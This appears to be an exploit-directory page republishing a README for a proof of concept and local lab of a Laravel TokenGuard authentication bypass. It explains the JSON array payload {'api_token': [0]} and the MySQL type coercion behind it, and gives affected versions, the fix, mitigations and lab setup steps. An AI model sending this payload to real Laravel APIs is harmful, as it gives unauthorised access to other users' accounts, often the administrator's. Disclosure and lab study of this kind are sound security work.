Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/tajulasri/-cve-2026-114509-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthenticationLabs & Practice
GitHubtajulasri/-cve-2026-114509-poc

-CVE-2026-114509-POC

PoC and lab for CVE-2026-114509, a Laravel TokenGuard authentication bypass via JSON array token injection and MySQL type coercion, with detection and remediation guidance.

View Repository
11 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    628
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    413
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    366
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    329
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    AI powered OSINT engine to discover and map 7,700+ social media identities across the web

    287

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-114509 — Laravel TokenGuard Authentication Bypass

FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING ONLY

This repository is part of a personal security research study. All code, documentation, and tooling are provided strictly for educational purposes, defensive security research, and authorized penetration testing within scope. Do not use any of this material against systems you do not own or have explicit written authorization to test. Unauthorized access to computer systems is illegal under the CFAA (US), Computer Misuse Act (UK), and equivalent laws worldwide. The author assumes no liability for misuse.


What Is This Vulnerability?

A critical authentication bypass (CVSS 9.2) in Laravel's legacy token guard driver. An unauthenticated attacker can gain access to any API endpoint protected by the token guard — with a single HTTP request, no valid credentials, and no brute force.

FieldValue
CVECVE-2026-114509
AdvisoryGHSA-f9x3-7vq9-cph6
CVSS9.2 (v4.0, Critical)
CWECWE-287 (Improper Authentication), CWE-1287
Published2026-10-19
Fix commit9b21ce0
Patched in11.56.1, 12.68.0, 13.29.0
AffectedEvery Laravel version with TokenGuard (5.0–13.x before patches)

Why Does This Work?

The attack chains three behaviors that are each individually harmless:

1. PHP array injection via JSON body

Laravel's $request->input() accepts any JSON type. Sending {"api_token": [0]} delivers a PHP array [0] instead of a string.

2. Missing type check in TokenGuard

TokenGuard::user() checks ! empty($token) before passing to Eloquent. A non-empty array passes this check — ! empty([0]) is true.

// VULNERABLE (all versions before the fix)
if (! empty($token)) {              // [0] passes this
    $user = $this->provider->retrieveByCredentials([
        'api_token' => $token,       // array [0] reaches Eloquent
    ]);
}

// FIXED (11.56.1 / 12.68.0 / 13.29.0)
if (is_string($token) && ! empty($token)) {   // [0] rejected here

3. MySQL implicit type coercion

EloquentUserProvider sees an array value and builds WHERE api_token IN (0). MySQL then casts every VARCHAR token to an integer for comparison. Any token starting with a letter (a-z, A-Z) casts to 0:

SELECT CAST('admin_secret_token_abc123' AS SIGNED);  -- Returns: 0
SELECT * FROM users WHERE api_token IN (0);           -- Matches ALL such tokens

The first matching user is returned — often the admin (first user created).

The full chain

Attacker                          Laravel + MySQL
   │                                    │
   │  POST /api/me                      │
   │  {"api_token": [0]}                │
   │ ──────────────────────────────────►│
   │                                    │ getTokenForRequest() → [0]
   │                                    │ ! empty([0]) → true ✓
   │                                    │ retrieveByCredentials(['api_token' => [0]])
   │                                    │ → WHERE api_token IN (0)
   │                                    │ → MySQL casts 'admin_tok...' to 0
   │                                    │ → MATCH → returns Admin user
   │  200 OK                            │
   │  {"id":1,"name":"Admin",...}       │
   │ ◄──────────────────────────────────│

Why PostgreSQL and SQLite are not affected

  • PostgreSQL: strict typing — WHERE api_token IN (0) throws ERROR: operator does not exist: character varying = integer
  • SQLite: type affinity — TEXT columns don't coerce to INTEGER, so the comparison returns no rows

Who Is Affected?

Default skeleton configuration across Laravel versions

LaravelToken guard in skeleton?HashPatch
5.0–5.8YES — 'driver' => 'token' shipped by defaultNoEOL
6.xYES'hash' => falseEOL
7.xYES — last version with token guard as default'hash' => falseEOL
8.xNO — removed from skeleton, Sanctum became defaultN/AEOL
9.xNO — must add manuallyN/AEOL
10.xNO — must add manuallyN/AEOL
11.xNO — must add manuallyN/Av11.56.1
12.xNO — must add manuallyN/Av12.68.0
13.xNO — must add manuallyN/Av13.29.0

Key risk scenarios

  1. Laravel 5–7 legacy apps on MySQL — token guard was the default, vulnerable out of the box with zero configuration
  2. Apps upgraded from 5–7 to 8+ — config/auth.php is not overwritten by composer update, so the old token guard config survives silently
  3. Apps on 8+ that manually added the token guard — following old tutorials or API documentation
  4. Any app on 11–13 below the patched version

What is NOT affected

  • Laravel Sanctum — reads from Authorization: Bearer header only (always a string), hashes with SHA-256 (throws TypeError on arrays), uses separate personal_access_tokens table
  • Laravel Passport — OAuth2-based, different token storage and lookup
  • Any app on PostgreSQL or SQLite — strict typing prevents coercion
  • Token guard with hash => true on PHP 8+ — hash('sha256', [0]) throws TypeError (but PHP 7 silently returns, so still vulnerable)

Constraints and Limitations

ConstraintDetail
DatabaseMySQL or MariaDB only — PostgreSQL/SQLite not affected
Guard drivertoken only — Sanctum/Passport not affected
DeliveryJSON body (POST/PUT/PATCH) — query string sends string "0" not integer 0
User selectionAttacker gets the first matching user, cannot choose which one
hash => trueMitigates on PHP 8+ (TypeError), not on PHP 7
DetectionArray values in api_token field are abnormal and detectable in logs

Repository Structure

laravel-tokenguard-bypass/
├── README.md                          ← This file
├── CVE-2026-114509_poc.py             ← PoC script
└── lab/
    ├── docker-compose.yml             ← MySQL 8.0 container
    └── app/                           ← Laravel 12.67.0 (vulnerable)
        ├── config/auth.php            ← Token guard configured
        ├── routes/api.php             ← Protected API endpoints
        ├── database/seeders/          ← 4 test users with tokens
        └── database/migrations/       ← api_token column added

Lab Setup

Prerequisites

  • Docker (for MySQL 8.0)
  • PHP 8.x with Composer
  • Python 3.9+

Quick start

# 1. Start MySQL
cd lab
docker compose up -d
# Wait for healthcheck (~15s)

# 2. Setup Laravel
cd app
composer install
php artisan migrate:fresh --seed

# 3. Start the dev server
php -S 127.0.0.1:8080 -t public public/index.php &

# 4. Verify
curl -s http://127.0.0.1:8080/api/health
# → {"status":"ok"}

Test users (seeded)

UserToken starts withMySQL CASTMatched by [0]?
Admin (role: admin)a (letter)0YES
Alice (role: user)a (letter)0YES
Bob (role: user)b (letter)0YES
Charlie (role: user)9 (digit)9NO

Charlie's token starts with 9, so MySQL casts it to 9, not 0. This demonstrates that [0] only matches letter-starting tokens, while [9] would match Charlie specifically.


PoC Usage

# Run the PoC script
python3 CVE-2026-114509_poc.py http://127.0.0.1:8080
python3 CVE-2026-114509_poc.py http://127.0.0.1:8080 --path /api/admin/users

Manual PoC (curl)

Download Tool